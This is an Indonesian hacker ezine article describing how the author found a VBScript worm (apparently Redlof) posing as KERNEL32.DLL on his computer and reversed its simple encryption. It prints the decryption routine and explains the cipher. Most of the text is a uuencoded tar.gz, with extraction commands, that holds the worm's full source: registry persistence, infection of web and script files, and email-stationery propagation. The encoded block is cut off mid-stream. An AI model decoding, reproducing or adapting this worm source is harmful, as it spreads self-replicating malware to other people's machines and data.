Copy Link
Add to Bookmark
Report
Echo Magazine Issue 07 Phile 0x013
____________________ ___ ___ ________
\_ _____/\_ ___ \ / | \\_____ \
| __)_ / \ \// ~ \/ | \
| \\ \___\ Y / | \
/_______ / \______ /\___|_ /\_______ /
\/ \/ \/ \/
.OR.ID
ECHO-ZINE RELEASE
07
Author: knot |syuhada@antizionist.cjb.net
Online @ www.echo.or.id :: http://ezine.echo.or.id
== Tutorial Enkripsi vbsworm ==
pada suatu hari saya menemukan komputer saya telah terinfeksi sebuah worm yang menetap di hd.
say menduga2 worm apa nih. biasanya titik awal worm menginfeksi sistem adalah membuat entry di
registry startup. so saya langsung ketik msconfig. saya terkejut karena saya tidak menemukan
path ke file vbs. tapi yang membuat saya tekejut adalah adanya entry baru yang dipanggil dari
start up yang ternyata adalah sebuah file system "KERNEL32.DLL" what the hell?? merasa ada yang
tidak beres saya mencoba-coba membuka file system tsb dengan notepad.
whala yang saya temukan ternyata sebuah worm vbs yang telah dienkripsi dengan sederhana. jika
men-scrool ke bawah notepad tsb maka akan anda temukan rutin deskripsinya. sipp.
langkah selanjutnya saya harus men-disinfect komputer saya. untuk itu saya perlu menguraikan
kode-kode jelek ini dulu. saya menggunakan visual basic untuk membalikkan proses deskripsi
dan mengarahkan outputnya tidak ke sistem tetapi ke sebuah text box. beberapa kali coba2,
alhasil dapatlah saya memahami kode jelek ini. yang sekarang lebih user friendly :)
entah dari mana saya tau, tapi ketika itu saya menamai file itu vbs_redlof_source.vbs well
correct me if i worm (wrong) .
SECTION I
[RUTIN DESKRIPSI]
perhatikan 3 baris terakhir dari worm tsb. ini adalah baris rutin deskripsi.
yang kalau diuraikan menjadi:
----------------
Dim KeyArr(3),ThisText
KeyArr(0) = 0
KeyArr(1) = 2
KeyArr(2) = 2
KeyArr(3) = 4
For i=1 To Len(ExeString)
TempNum = Asc(Mid(ExeString,i,1))
If TempNum = 18 Then
TempNum = 34
End If
TempChar = Chr(TempNum + KeyArr(i Mod 4))
If TempChar = Chr(28) Then
TempChar = vbCr
ElseIf TempChar = Chr(29) Then
TempChar = vbLf
End If
ThisText = ThisText & TempChar
Next
---------------
sedangkan yang menjadi chiper text adalah baris pertama program samapai bagian deskripsi. yaitu
yang diawali dengan "ExeString=" ini menunjukkan bahwa variabel ExeString berisi kode worm yang
telah terenkripsi.
see!
logika enkripsi/deskripsi worm ini mirip dengan yang dilakukan oleh [k] dalam vbswg.
_______________ ___________ ______________
| | rutin |x| |x| |x| | | |
| | deskripsi ------------- susun ulang | |
| Chiper Text | ----------------> |x| |x| |x| | ------------> | Plain text |
| | ------------- | |
|_______________| |x| |x| |x| | |______________|
bingung? saya juga bingung ketika menuangkan nya dalam grafik.
logikanya begini
1. rutin deskripsi akan men "terjemahkan" satu demi satu karakter yang terdapat dalam
chiper text.
2. lalu baris berikutnya akan menyusun urutan kode2 yang telah di terjemahkan tsb dalam
urutan silang.
misalnya chiper text terdiri dari | c a |
| b d |
lalu akan disusun ulang menjadi
| a b |
| c d |
understood?
cukup mudah sebenarnya. tetapi akan memusingkan jika anda tidak menganalisa sendiri source
codenya dan membayangkan untuk menjalankan nya beris demi baris dalam pikiran anda.
dengan mengerti logika deskripsi nya maka tidak akan menjadi sesuatu yang sulit untuk anda
membuat rutin enkripsinya. setelah keseluruhan badan program di deskripsi maka akan didapat:
full source
NOTE:
Untuk men-decode-nya, gunakan perintah `uudecode [file ini]`
Contoh:
$ uudecode vbsw1.txt
$ tar -zxf vbsw1.tar.gz
-------------------
begin 644 vbsw1.tar.gz
M=F)S,2\`````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M`````````````#`P,#`W-34`,#`P,3<U,``P,#`P,30T`#`P,#`P,#`P,#`P
M`#$P-S(U-#`T,3<P`#`Q,#<T-0`@-0``````````````````````````````
M````````````````````````````````````````````````````````````
M``````````````````````````````````````````!U<W1A<B`@`&%M;6%R
M````````````````````````````````````=7-E<G,`````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M``````````````````````!V8G,Q+W9B<U]W;W)M,2YT>'0`````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````,#`P,#8T-``P,#`Q-S4P`#`P
M,#`Q-#0`,#`P,#`P,C0U-#0`,3`W,C4T-C0P-3``,#$S-#0Q`"`P````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M`````'5S=&%R("``86UM87(```````````````````````````````````!U
M<V5R<P``````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M`````````````````````````````````````````````$1I;2!);E=H97)E
M+$AT;6Q497AT+%9B<U1E>'0L1&5G<F5E4VEG;BQ!<'!L94]B:F5C="Q&4T\L
M5W-3:&5L;"Q7:6Y0871H+%-U8D4L1FEN86QY1&ES:PT*4W5B($M*7W-T87)T
M*"D-"DM*4V5T1&EM*"D-"DM*0W)E871E36EL:65U*"D-"DM*3&EK94ET*"D-
M"DM*0W)E871E36%I;"@I#0I+2E!R;W!A9V%T92@I#0I%;F0@4W5B#0H-"D9U
M;F-T:6]N($M*07!P96YD5&\H1FEL95!A=&@L5'EP95-T<BD-"D]N($5R<F]R
M(%)E<W5M92!.97AT#0I3970@4F5A9%1E;7`@/2!&4T\N3W!E;E1E>'1&:6QE
M*$9I;&50871H+#$I#0I4;7!3='(@/2!296%D5&5M<"Y296%D06QL#0I)9B!)
M;G-T<BA4;7!3='(L(DM*7W-T87)T*"DB*2`\/B`P($]R($QE;BA4;7!3='(I
M(#P@,2!4:&5N#0I296%D5&5M<"Y#;&]S90T*17AI="!&=6YC=&EO;@T*16YD
M($EF#0I)9B!4>7!E4W1R(#T@(FAT="(@5&AE;@T*4F5A9%1E;7`N0VQO<V4-
M"E-E="!&:6QE5&5M<"`]($933RY/<&5N5&5X=$9I;&4H1FEL95!A=&@L,BD-
M"D9I;&5496UP+E=R:71E("(\(B`F(")"3T19(&]N;&]A9#TB(B(@)B`B=F)S
M8W)I<'0Z(B`F(")+2E]S=&%R="@I(B(B("8@(CXB("8@=F)#<DQF("8@5&UP
M4W1R("8@=F)#<DQF("8@2'1M;%1E>'0-"D9I;&5496UP+D-L;W-E#0I3970@
M1D%T=')I8B`]($933RY'971&:6QE*$9I;&50871H*0T*1D%T=')I8BYA='1R
M:6)U=&5S(#T@,S0-"D5L<V4-"E)E861496UP+D-L;W-E#0I3970@1FEL951E
M;7`@/2!&4T\N3W!E;E1E>'1&:6QE*$9I;&50871H+#@I#0I)9B!4>7!E4W1R
M(#T@(FAT;6PB(%1H96X-"D9I;&5496UP+E=R:71E('9B0W),9B`F("(\(B`F
M(")(5$U,/B(@)B!V8D-R3&8@)B`B/"(@)B`B0D]$62!O;FQO860](B(B("8@
M(G9B<V-R:7!T.B(@)B`B2TI?<W1A<G0H*2(B(B`F("(^(B`F('9B0W),9B`F
M($AT;6Q497AT#0I%;'-E268@5'EP95-T<B`](")V8G,B(%1H96X-"D9I;&54
M96UP+E=R:71E('9B0W),9B`F(%9B<U1E>'0-"D5N9"!)9@T*1FEL951E;7`N
M0VQO<V4-"D5N9"!)9@T*16YD($9U;F-T:6]N#0H-"D9U;F-T:6]N($M*0VAA
M;F=E4W5B*$-U<G)E;G13=')I;F<L3&%S=$EN9&5X0VAA<BD-"DEF($QA<W1)
M;F1E>$-H87(@/2`P(%1H96X-"DEF($QE9G0H3$-A<V4H0W5R<F5N=%-T<FEN
M9RDL,2D@/3P@3$-A<V4H(F,B*2!4:&5N#0I+2D-H86YG95-U8B`]($9I;F%L
M>41I<VL@)B`B.EPB#0I3=6)%(#T@,`T*16QS90T*2TI#:&%N9V53=6(@/2!#
M:'(H07-C*$QE9G0H3$-A<V4H0W5R<F5N=%-T<FEN9RDL,2DI("T@,2D@)B`B
M.EPB#0I3=6)%(#T@,`T*16YD($EF#0I%;'-E#0I+2D-H86YG95-U8B`]($UI
M9"A#=7)R96YT4W1R:6YG+#$L3&%S=$EN9&5X0VAA<BD-"D5N9"!)9@T*16YD
M($9U;F-T:6]N#0H-"D9U;F-T:6]N($M*0W)E871E36%I;"@I#0I/;B!%<G)O
M<B!297-U;64@3F5X=`T*268@26Y7:&5R92`](")H=&UL(B!4:&5N#0I%>&ET
M($9U;F-T:6]N#0I%;F0@268-"E-H87)E1FEL92`]($QE9G0H5VEN4&%T:"PS
M*2`F(")0<F]G<F%M($9I;&5S7$-O;6UO;B!&:6QE<UQ-:6-R;W-O9G0@4VAA
M<F5D7%-T871I;VYE<GE<8FQA;FLN:'1M(@T*268@*$933RY&:6QE17AI<W1S
M*%-H87)E1FEL92DI(%1H96X-"D-A;&P@2TI!<'!E;F14;RA3:&%R949I;&4L
M(FAT;6PB*0T*16QS90T*4V5T($9I;&5496UP(#T@1E-/+D]P96Y497AT1FEL
M92A3:&%R949I;&4L,BQT<G5E*0T*1FEL951E;7`N5W)I=&4@(CPB("8@(DA4
M34P^(B`F('9B0W),9B`F("(\(B`F(")"3T19(&]N;&]A9#TB(B(@)B`B=F)S
M8W)I<'0Z(B`F(")+2E]S=&%R="@I(B(B("8@(CXB("8@=F)#<DQF("8@2'1M
M;%1E>'0-"D9I;&5496UP+D-L;W-E#0I%;F0@268-"D1E9F%U;'1)9"`](%=S
M4VAE;&PN4F5G4F5A9"@B2$M%65]#55)214Y47U5315)<261E;G1I=&EE<UQ$
M969A=6QT(%5S97(@240B*0T*3W5T3&]O:U9E<G-I;VX@/2!7<U-H96QL+E)E
M9U)E860H(DA+15E?3$]#04Q?34%#2$E.15Q3;V9T=V%R95Q-:6-R;W-O9G1<
M3W5T;&]O:R!%>'!R97-S7$UE9&EA5F5R(BD-"E=S4VAE;&PN4F5G5W)I=&4@
M(DA+15E?0U524D5.5%]54T527$ED96YT:71I97-<(B9$969A=6QT260F(EQ3
M;V9T=V%R95Q-:6-R;W-O9G1<3W5T;&]O:R!%>'!R97-S7"(F($QE9G0H3W5T
M3&]O:U9E<G-I;VXL,2D@)B(N,%Q-86EL7$-O;7!O<V4@57-E(%-T871I;VYE
M<GDB+#$L(E)%1U]$5T]21"(-"D-A;&P@2TI-86EL4F5G*")(2T597T-54E)%
M3E1?55-%4EQ)9&5N=&ET:65S7"(F1&5F875L=$ED)B)<4V]F='=A<F5<36EC
M<F]S;V9T7$]U=&QO;VL@17AP<F5S<UPB)B!,969T*$]U=$QO;VM697)S:6]N
M+#$I("8B+C!<36%I;%Q3=&%T:6]N97)Y($YA;64B+%-H87)E1FEL92D-"D-A
M;&P@2TI-86EL4F5G*")(2T597T-54E)%3E1?55-%4EQ)9&5N=&ET:65S7"(F
M1&5F875L=$ED)B)<4V]F='=A<F5<36EC<F]S;V9T7$]U=&QO;VL@17AP<F5S
M<UPB)B!,969T*$]U=$QO;VM697)S:6]N+#$I("8B+C!<36%I;%Q7:61E(%-T
M871I;VYE<GD@3F%M92(L4VAA<F5&:6QE*0T*5W-3:&5L;"Y296=7<FET92`B
M2$M%65]#55)214Y47U5315)<4V]F='=A<F5<36EC<F]S;V9T7$]F9FEC95PY
M+C!<3W5T;&]O:UQ/<'1I;VYS7$UA:6Q<161I=&]R4')E9F5R96YC92(L,3,Q
M,#<R+")214=?1%=/4D0B#0I#86QL($M*36%I;%)E9R@B2$M%65]#55)214Y4
M7U5315)<4V]F='=A<F5<36EC<F]S;V9T7%=I;F1O=W,@365S<V%G:6YG(%-U
M8G-Y<W1E;5Q0<F]F:6QE<UQ-:6-R;W-O9G0@3W5T;&]O:R!);G1E<FYE="!3
M971T:6YG<UPP83!D,#(P,#`P,#`P,#`P8S`P,#`P,#`P,#`P,#`T-EPP,#%E
M,#,V,"(L(F)L86YK(BD-"D-A;&P@2TI-86EL4F5G*")(2T597T-54E)%3E1?
M55-%4EQ3;V9T=V%R95Q-:6-R;W-O9G1<5VEN9&]W<R!.5%Q#=7)R96YT5F5R
M<VEO;EQ7:6YD;W=S($UE<W-A9VEN9R!3=6)S>7-T96U<4')O9FEL97-<36EC
M<F]S;V9T($]U=&QO;VL@26YT97)N970@4V5T=&EN9W-<,&$P9#`R,#`P,#`P
M,#`P,&,P,#`P,#`P,#`P,#`P-#9<,#`Q93`S-C`B+")B;&%N:R(I#0I7<U-H
M96QL+E)E9U=R:71E(")(2T597T-54E)%3E1?55-%4EQ3;V9T=V%R95Q-:6-R
M;W-O9G1<3V9F:6-E7#$P+C!<3W5T;&]O:UQ/<'1I;VYS7$UA:6Q<161I=&]R
M4')E9F5R96YC92(L,3,Q,#<R+")214=?1%=/4D0B#0I#86QL($M*36%I;%)E
M9R@B2$M%65]#55)214Y47U5315)<4V]F='=A<F5<36EC<F]S;V9T7$]F9FEC
M95PQ,"XP7$-O;6UO;EQ-86EL4V5T=&EN9W-<3F5W4W1A=&EO;F5R>2(L(F)L
M86YK(BD-"DM*=6UM86=E1F]L9&5R*$QE9G0H5VEN4&%T:"PS*2`F(")0<F]G
M<F%M($9I;&5S7$-O;6UO;B!&:6QE<UQ-:6-R;W-O9G0@4VAA<F5D7%-T871I
M;VYE<GDB*0T*16YD($9U;F-T:6]N#0H-"D9U;F-T:6]N($M*0W)E871E36EL
M:65U*"D-"D]N($5R<F]R(%)E<W5M92!.97AT#0I496UP4&%T:"`]("(B#0I)
M9B!.;W0H1E-/+D9I;&5%>&ES=',H5VEN4&%T:"`F(")74V-R:7!T+F5X92(I
M*2!4:&5N#0I496UP4&%T:"`](")S>7-T96TS,EPB#0I%;F0@268-"DEF(%1E
M;7!0871H(#T@(G-Y<W1E;3,R7"(@5&AE;@T*4W1A<G15<$9I;&4@/2!7:6Y0
M871H("8@(E-94U1%35Q+97)N96PS,BYD;&PB#0I%;'-E#0I3=&%R=%5P1FEL
M92`](%=I;E!A=&@@)B`B4UE35$5-7$ME<FYE;"YD;&PB#0I%;F0@268-"E=S
M4VAE;&PN4F5G5W)I=&4@(DA+15E?3$]#04Q?34%#2$E.15Q3;V9T=V%R95Q-
M:6-R;W-O9G1<5VEN9&]W<UQ#=7)R96YT5F5R<VEO;EQ2=6Y<2V5R;F5L,S(B
M+%-T87)T57!&:6QE#0I&4T\N0V]P>49I;&4@5VEN4&%T:"`F(")W96)<:VIW
M86QL+F=I9B(L5VEN4&%T:"`F(")W96)<1F]L9&5R+FAT="(-"D933RY#;W!Y
M1FEL92!7:6Y0871H("8@(G-Y<W1E;3,R7&MJ=V%L;"YG:68B+%=I;E!A=&@@
M)B`B<WES=&5M,S)<9&5S:W1O<"YI;FDB#0I#86QL($M*07!P96YD5&\H5VEN
M4&%T:"`F(")W96)<1F]L9&5R+FAT="(L(FAT="(I#0I7<U-H96QL+E)E9U=R
M:71E(")(2T597T-,05-315-?4D]/5%PN9&QL7"(L(F1L;&9I;&4B#0I7<U-H
M96QL+E)E9U=R:71E(")(2T597T-,05-315-?4D]/5%PN9&QL7$-O;G1E;G0@
M5'EP92(L(F%P<&QI8V%T:6]N+W@M;7-D;W=N;&]A9"(-"E=S4VAE;&PN4F5G
M5W)I=&4@(DA+15E?0TQ!4U-%4U]23T]47&1L;&9I;&5<1&5F875L=$EC;VY<
M(BQ7<U-H96QL+E)E9U)E860H(DA+15E?0TQ!4U-%4U]23T]47'9X9&9I;&5<
M1&5F875L=$EC;VY<(BD-"E=S4VAE;&PN4F5G5W)I=&4@(DA+15E?0TQ!4U-%
M4U]23T]47&1L;&9I;&5<4V-R:7!T16YG:6YE7"(L(E9"4V-R:7!T(@T*5W-3
M:&5L;"Y296=7<FET92`B2$M%65]#3$%34T537U)/3U1<9&QL1FEL95Q3:&5L
M;%Q/<&5N7$-O;6UA;F1<(BQ7:6Y0871H("8@5&5M<%!A=&@@)B`B5U-C<FEP
M="YE>&4@(B(E,2(B("4J(@T*5W-3:&5L;"Y296=7<FET92`B2$M%65]#3$%3
M4T537U)/3U1<9&QL1FEL95Q3:&5L;$5X7%!R;W!E<G1Y4VAE971(86YD;&5R
M<UQ74TA0<F]P<UPB+")[-C`R-31#034M.34S0BTQ,4-&+3A#.38M,#!!03`P
M0C@W,#A#?2(-"E=S4VAE;&PN4F5G5W)I=&4@(DA+15E?0TQ!4U-%4U]23T]4
M7&1L;$9I;&5<4V-R:7!T2&]S=$5N8V]D95PB+")[.#4Q,S$V,S$M-#@P0RTQ
M,40R+4(Q1CDM,#!#,#1&.#9#,S(T?2(-"E-E="!&:6QE5&5M<"`]($933RY/
M<&5N5&5X=$9I;&4H4W1A<G15<$9I;&4L,BQT<G5E*0T*1FEL951E;7`N5W)I
M=&4@5F)S5&5X=`T*1FEL951E;7`N0VQO<V4-"D5N9"!&=6YC=&EO;@T*#0I&
M=6YC=&EO;B!+2DQI:V5)="@I#0I)9B!);E=H97)E(#P^(")H=&UL(B!4:&5N
M#0I%>&ET($9U;F-T:6]N#0I%;F0@268-"E1H:7-,;V-A=&EO;B`](&1O8W5M
M96YT+FQO8V%T:6]N#0I)9B!,969T*%1H:7-,;V-A=&EO;BP@-"D@/2`B9FEL
M92(@5&AE;@T*5&AI<TQO8V%T:6]N(#T@36ED*%1H:7-,;V-A=&EO;BPY*0T*
M268@1E-/+D=E=$5X=&5N<VEO;DYA;64H5&AI<TQO8V%T:6]N*2`\/B`B(B!T
M:&5N#0I4:&ES3&]C871I;VX@/2!,969T*%1H:7-,;V-A=&EO;BQ,96XH5&AI
M<TQO8V%T:6]N*2`M($QE;BA&4T\N1V5T1FEL94YA;64H5&AI<TQO8V%T:6]N
M*2DI#0I%;F0@268-"DEF($QE;BA4:&ES3&]C871I;VXI(#X@,R!4:&5N#0I4
M:&ES3&]C871I;VX@/2!4:&ES3&]C871I;VX@)B`B7"(-"D5N9"!)9@T*2TIU
M;6UA9V5&;VQD97(H5&AI<TQO8V%T:6]N*0T*16YD($EF#0I%;F0@1G5N8W1I
M;VX-"@T*1G5N8W1I;VX@2TI-86EL4F5G*%)E9U-T<BQ&:6QE3F%M92D-"D]N
M($5R<F]R(%)E<W5M92!.97AT#0I296=496UP4W1R(#T@5W-3:&5L;"Y296=2
M96%D*%)E9U-T<BD-"DEF(%)E9U1E;7!3='(@/2`B(B!4:&5N#0I7<U-H96QL
M+E)E9U=R:71E(%)E9U-T<BQ&:6QE3F%M90T*16YD($EF#0I%;F0@1G5N8W1I
M;VX-"@T*1G5N8W1I;VX@2TI/8F]3=6(H0W5R<F5N=%-T<FEN9RD-"E-U8D4@
M/2`P#0I497-T3W5T(#T@,`T*1&\@5VAI;&4@5')U90T*5&5S=$]U="`](%1E
M<W1/=70@*R`Q#0I)9B!497-T3W5T(#X@,C@@5&AE;@T*0W5R<F5N=%-T<FEN
M9R`]($9I;F%L>41I<VL@)B`B.EPB#0I%>&ET($1O#0I%;F0@268-"D]N($5R
M<F]R(%)E<W5M92!.97AT#0I3970@5&AI<T9O;&1E<B`]($933RY'971&;VQD
M97(H0W5R<F5N=%-T<FEN9RD-"E-E="!$:6-3=6(@/2!#<F5A=&5/8FIE8W0H
M(E-C<FEP=&EN9RY$:6-T:6]N87)Y(BD-"E-E="!&;VQD97)S(#T@5&AI<T9O
M;&1E<BY3=6)&;VQD97)S#0I&;VQD97)#;W5N="`](#`-"D9O<B!%86-H(%1E
M;7!&;VQD97(@:6X@1F]L9&5R<PT*1F]L9&5R0V]U;G0@/2!&;VQD97)#;W5N
M="`K(#$-"D1I8U-U8BYA9&0@1F]L9&5R0V]U;G0L(%1E;7!&;VQD97(N3F%M
M90T*3F5X=`T*268@1&EC4W5B+D-O=6YT(#T@,"!4:&5N#0I,87-T26YD97A#
M:&%R(#T@26YS=')2978H0W5R<F5N=%-T<FEN9RPB7"(L3&5N*$-U<G)E;G13
M=')I;F<I+3$I#0I3=6)3=')I;F<@/2!-:60H0W5R<F5N=%-T<FEN9RQ,87-T
M26YD97A#:&%R*S$L3&5N*$-U<G)E;G13=')I;F<I+4QA<W1);F1E>$-H87(M
M,2D-"D-U<G)E;G13=')I;F<@/2!+2D-H86YG95-U8BA#=7)R96YT4W1R:6YG
M+$QA<W1);F1E>$-H87(I#0I3=6)%(#T@,0T*16QS90T*268@4W5B12`](#`@
M5&AE;@T*0W5R<F5N=%-T<FEN9R`]($-U<G)E;G13=')I;F<@)B!$:6-3=6(N
M271E;2@Q*2`F(")<(@T*17AI="!$;PT*16QS90T*:B`](#`-"D9O<B!J(#T@
M,2!4;R!&;VQD97)#;W5N=`T*268@3$-A<V4H4W5B4W1R:6YG*2`]($Q#87-E
M*$1I8U-U8BY)=&5M*&HI*2!4:&5N#0I)9B!J(#P@1F]L9&5R0V]U;G0@5&AE
M;@T*0W5R<F5N=%-T<FEN9R`]($-U<G)E;G13=')I;F<@)B!$:6-3=6(N271E
M;2AJ*S$I("8@(EPB#0I%>&ET($1O#0I%;F0@268-"D5N9"!)9@T*3F5X=`T*
M3&%S=$EN9&5X0VAA<B`]($EN<W1R4F5V*$-U<G)E;G13=')I;F<L(EPB+$QE
M;BA#=7)R96YT4W1R:6YG*2TQ*0T*4W5B4W1R:6YG(#T@36ED*$-U<G)E;G13
M=')I;F<L3&%S=$EN9&5X0VAA<BLQ+$QE;BA#=7)R96YT4W1R:6YG*2U,87-T
M26YD97A#:&%R+3$I#0I#=7)R96YT4W1R:6YG(#T@2TI#:&%N9V53=6(H0W5R
M<F5N=%-T<FEN9RQ,87-T26YD97A#:&%R*0T*16YD($EF#0I%;F0@268-"DQO
M;W`-"DM*3V)O4W5B(#T@0W5R<F5N=%-T<FEN9PT*16YD($9U;F-T:6]N#0H-
M"D9U;F-T:6]N($M*4')O<&%G871E*"D-"D]N($5R<F]R(%)E<W5M92!.97AT
M#0I296=0871H5F%L=64@/2`B2$M%65],3T-!3%]-04-(24Y%7%-O9G1W87)E
M7$UI8W)O<V]F=%Q/=71L;V]K($5X<')E<W-<1&5G<F5E(@T*1&ES:T1E9W)E
M92`](%=S4VAE;&PN4F5G4F5A9"A296=0871H5F%L=64I#0I)9B!$:7-K1&5G
M<F5E(#T@(B(@5&AE;@T*1&ES:T1E9W)E92`]($9I;F%L>41I<VL@)B`B.EPB
M#0I%;F0@268-"D9O<B!I/3$@=&\@-0T*1&ES:T1E9W)E92`]($M*3V)O4W5B
M*$1I<VM$96=R964I#0I+2G5M;6%G949O;&1E<BA$:7-K1&5G<F5E*0T*3F5X
M=`T*5W-3:&5L;"Y296=7<FET92!296=0871H5F%L=64L1&ES:T1E9W)E90T*
M16YD($9U;F-T:6]N#0H-"D9U;F-T:6]N($M*=6UM86=E1F]L9&5R*%!A=&A.
M86UE*0T*3VX@17)R;W(@4F5S=6UE($YE>'0-"E-E="!&;VQD97).86UE(#T@
M1E-/+D=E=$9O;&1E<BA0871H3F%M92D-"E-E="!4:&ES1FEL97,@/2!&;VQD
M97).86UE+D9I;&5S#0I(='1%>&ES=',@/2`P#0I&;W(@16%C:"!4:&ES1FEL
M92!);B!4:&ES1FEL97,-"D9I;&5%>'0@/2!50V%S92A&4T\N1V5T17AT96YS
M:6]N3F%M92A4:&ES1FEL92Y0871H*2D-"DEF($9I;&5%>'0@/2`B2%1-(B!/
M<B!&:6QE17AT(#T@(DA434PB($]R($9I;&5%>'0@/2`B05-0(B!/<B!&:6QE
M17AT(#T@(E!(4"(@3W(@1FEL945X="`](")*4U`B(%1H96X-"D-A;&P@2TI!
M<'!E;F14;RA4:&ES1FEL92Y0871H+")H=&UL(BD-"D5L<V5)9B!&:6QE17AT
M(#T@(E9"4R(@5&AE;@T*0V%L;"!+2D%P<&5N9%1O*%1H:7-&:6QE+E!A=&@L
M(G9B<R(I#0I%;'-E268@1FEL945X="`](")(5%0B(%1H96X-"DAT=$5X:7-T
M<R`](#$-"D5N9"!)9@T*3F5X=`T*268@*%5#87-E*%!A=&A.86UE*2`](%5#
M87-E*%=I;E!A=&@@)B`B1&5S:W1O<%PB*2D@3W(@*%5#87-E*%!A=&A.86UE
M*2`](%5#87-E*%=I;E!A=&@@)B`B1&5S:W1O<"(I*51H96X-"DAT=$5X:7-T
M<R`](#$-"D5N9"!)9@T*268@2'1T17AI<W1S(#T@,"!4:&5N#0I&4T\N0V]P
M>49I;&4@5VEN4&%T:"`F(")S>7-T96TS,EQD97-K=&]P+FEN:2(L4&%T:$YA
M;64-"D933RY#;W!Y1FEL92!7:6Y0871H("8@(G=E8EQ&;VQD97(N:'1T(BQ0
M871H3F%M90T*16YD($EF#0I%;F0@1G5N8W1I;VX-"@T*1G5N8W1I;VX@2TI3
M971$:6TH*0T*3VX@17)R;W(@4F5S=6UE($YE>'0-"D5R<BY#;&5A<@T*5&5S
M=$ET(#T@5U-C<FEP="Y38W)I<'1&=6QL;F%M90T*268@17)R(%1H96X-"DEN
M5VAE<F4@/2`B:'1M;"(-"D5L<V4-"DEN5VAE<F4@/2`B=F)S(@T*16YD($EF
M#0I)9B!);E=H97)E(#T@(G9B<R(@5&AE;@T*4V5T($933R`]($-R96%T94]B
M:F5C="@B4V-R:7!T:6YG+D9I;&53>7-T96U/8FIE8W0B*0T*4V5T(%=S4VAE
M;&P@/2!#<F5A=&5/8FIE8W0H(E=38W)I<'0N4VAE;&PB*0T*16QS90T*4V5T
M($%P<&QE3V)J96-T(#T@9&]C=6UE;G0N87!P;&5T<R@B2TI?9W5E<W0B*0T*
M07!P;&5/8FIE8W0N<V5T0TQ3240H(GM&.3,U1$,R,BTQ0T8P+3$Q1#`M041"
M.2TP,$,P-$9$-3A!,$)](BD-"D%P<&QE3V)J96-T+F-R96%T94EN<W1A;F-E
M*"D-"E-E="!7<U-H96QL(#T@07!P;&5/8FIE8W0N1V5T3V)J96-T*"D-"D%P
M<&QE3V)J96-T+G-E=$-,4TE$*")[,$0T,T9%,#$M1C`Y,RTQ,4-&+3@Y-#`M
M,#!!,$,Y,#4T,C(X?2(I#0I!<'!L94]B:F5C="YC<F5A=&5);G-T86YC92@I
M#0I3970@1E-/(#T@07!P;&5/8FIE8W0N1V5T3V)J96-T*"D-"D5N9"!)9@T*
M4V5T($1I<VM/8FIE8W0@/2!&4T\N1')I=F5S#0I&;W(@16%C:"!$:7-K5&5M
M<"!);B!$:7-K3V)J96-T#0I)9B!$:7-K5&5M<"Y$<FEV951Y<&4@/#X@,B!!
M;F0@1&ES:U1E;7`N1')I=F54>7!E(#P^(#$@5&AE;@T*17AI="!&;W(-"D5N
M9"!)9@T*1FEN86QY1&ES:R`]($1I<VM496UP+D1R:79E3&5T=&5R#0I.97AT
M#0I$:6T@3W1H97)!<G(H,RD-"E)A;F1O;6EZ90T*1F]R(&D],"!4;R`S#0I/
M=&AE<D%R<BAI*2`]($EN="@H.2`J(%)N9"DI#0I.97AT#0I496UP4W1R:6YG
M(#T@(B(-"D9O<B!I/3$@5&\@3&5N*%1H:7-497AT*0T*5&5M<$YU;2`]($%S
M8RA-:60H5&AI<U1E>'0L:2PQ*2D-"DEF(%1E;7!.=6T@/2`Q,R!4:&5N#0I4
M96UP3G5M(#T@,C@-"D5L<V5)9B!496UP3G5M(#T@,3`@5&AE;@T*5&5M<$YU
M;2`](#(Y#0I%;F0@268-"E1E;7!#:&%R(#T@0VAR*%1E;7!.=6T@+2!/=&AE
M<D%R<BAI($UO9"`T*2D-"DEF(%1E;7!#:&%R(#T@0VAR*#,T*2!4:&5N#0I4
M96UP0VAA<B`]($-H<B@Q."D-"D5N9"!)9@T*5&5M<%-T<FEN9R`](%1E;7!3
M=')I;F<@)B!496UP0VAA<@T*3F5X=`T*56Y,;V-K4W1R(#T@(D5X96-U=&4H
M(B)$:6T@2V5Y07)R*#,I+%1H:7-497AT(B(F=F)#<DQF)B(B2V5Y07)R*#`I
M(#T@(B`F($]T:&5R07)R*#`I("8@(B(B)G9B0W),9B8B(DME>4%R<B@Q*2`]
M("(@)B!/=&AE<D%R<B@Q*2`F("(B(B9V8D-R3&8F(B)+97E!<G(H,BD@/2`B
M("8@3W1H97)!<G(H,BD@)B`B(B(F=F)#<DQF)B(B2V5Y07)R*#,I(#T@(B`F
M($]T:&5R07)R*#,I("8@(B(B)G9B0W),9B8B(D9O<B!I/3$@5&\@3&5N*$5X
M95-T<FEN9RDB(B9V8D-R3&8F(B)496UP3G5M(#T@07-C*$UI9"A%>&53=')I
M;F<L:2PQ*2DB(B9V8D-R3&8F(B))9B!496UP3G5M(#T@,3@@5&AE;B(B)G9B
M0W),9B8B(E1E;7!.=6T@/2`S-"(B)G9B0W),9B8B(D5N9"!)9B(B)G9B0W),
M9B8B(E1E;7!#:&%R(#T@0VAR*%1E;7!.=6T@*R!+97E!<G(H:2!-;V0@-"DI
M(B(F=F)#<DQF)B(B268@5&5M<$-H87(@/2!#:'(H,C@I(%1H96XB(B9V8D-R
M3&8F(B)496UP0VAA<B`]('9B0W(B(B9V8D-R3&8F(B)%;'-E268@5&5M<$-H
M87(@/2!#:'(H,CDI(%1H96XB(B9V8D-R3&8F(B)496UP0VAA<B`]('9B3&8B
M(B9V8D-R3&8F(B)%;F0@268B(B9V8D-R3&8F(B)4:&ES5&5X="`](%1H:7-4
M97AT("8@5&5M<$-H87(B(B9V8D-R3&8F(B).97AT(B(I(B`F('9B0W),9B`F
M(")%>&5C=71E*%1H:7-497AT*2(-"E1H:7-497AT(#T@(D5X95-T<FEN9R`]
M("(B(B`F(%1E;7!3=')I;F<@)B`B(B(B#0I(=&UL5&5X="`](CPB("8@(G-C
M<FEP="!L86YG=6%G93UV8G-C<FEP=#XB("8@=F)#<DQF("8@(F1O8W5M96YT
M+G=R:71E("(@)B`B(B(B("8@(CPB("8@(F1I=B!S='EL93TG<&]S:71I;VXZ
M86)S;VQU=&4[(&QE9G0Z,'!X.R!T;W`Z,'!X.R!W:61T:#HP<'@[(&AE:6=H
